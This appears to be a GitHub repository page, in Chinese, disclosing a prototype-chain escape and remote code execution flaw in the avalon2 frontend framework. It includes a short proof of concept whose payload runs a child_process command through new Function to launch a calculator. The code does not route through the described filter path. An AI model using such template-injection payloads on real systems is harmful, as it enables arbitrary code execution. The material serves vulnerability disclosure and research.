OriginSecurityX/avalon-filter-rce
GitHub: OriginSecurityX/avalon-filter-rce
这是一个针对 avalon2 前端框架的原型链逃逸与远程代码执行漏洞的概念验证研究。
Stars: 1 | Forks: 0
## 标题:RubyLouvre/avalon 中的原型逃逸与远程代码执行
**漏洞作者:** Frederick
**受影响版本:** v0.9.9 ~ v2.2.10(所有版本,自 2019 年起已停止维护)
**供应商:** https://github.com/RubyLouvre/avalon
**软件:** https://www.npmjs.com/package/avalon2
**漏洞文件:**
- `src/filters/index.js` 第 11 行(`var filters = avalon.filters = {}`)
- `src/filters/index.js` 第 18 行(`var filter = avalon.filters[name]`)
- `src/parser/index.js` 第 117、133 行(`new Function()` 编译)
## 漏洞描述:
1. **不安全的过滤器存储与查找:**
- Avalon 将模板过滤器存储在普通对象中(`var filters = avalon.filters = {}`)
- 过滤器通过方括号表示法访问,未进行 `hasOwnProperty` 检查:`avalon.filters[name]`
- 这允许遍历原型链——任何 `Object.prototype` 属性都可以作为过滤器名称被访问。
2. **原型链逃逸:**
- `avalon.filters["__proto__"]` 返回 `Object.prototype`
- `avalon.filters["constructor"]` 返回 `Object` 构造函数
- `typeof Object === "function"` 通过了过滤器执行检查,使得 `constructor` 可以被当作过滤器函数调用。
3. **通过 new Function() 实现远程代码执行:**
- 模板解析器使用 `new Function('__vmodel__', 'return ' + body + ';')` 编译表达式(在源码中 6 处位置已确认)
- 如果攻击者可以控制模板内容(例如模板注入),则可以执行任意 JavaScript 代码
- 载荷示例:`process.mainModule.require("child_process").execSync("calc.exe")`
## 概念验证:
1. 安装并运行:
```
npm install avalon2
node poc.js
```
2. 代码:
```
const avalon = require("avalon2");
// Prototype escape — plain object, no hasOwnProperty check
avalon.filters["__proto__"]; // → Object.prototype
avalon.filters["constructor"]; // → Object() (typeof === "function")
// RCE — new Function() in template parser
new Function('__vmodel__',
'return process.mainModule.require("child_process").execSync("calc.exe")')();
```
3. 结果:计算器进程已被启动。
标签:Arbitrary JavaScript Execution, avalon2, avalon.js, Client-side Execution, CMS安全, Code Injection, Compiler Security, Constructor Abuse, Dynamic Expression Eval, Frontend Framework, Frontend RCE, Front-end Security, Function Constructor, GNU通用公共许可证, hasOwnProperty Missing, Insecure Filter Storage, JavaScript, JavaScript Security, MITM代理, New Function(), Node.js, npm Package, Obfuscation Bypass, Object.prototype Traversal, Open Source Vulnerability, Package Maintenance, Prototype Escape, Prototype Pollution, RCE, Remote Code Execution, Security Research, Software Supply Chain, Source Code Review, Template Engine, Template Injection, Template Parser, Unmaintained Library, Vulnerability, Web Security, XSS, 数据可视化, 漏洞情报, 自定义脚本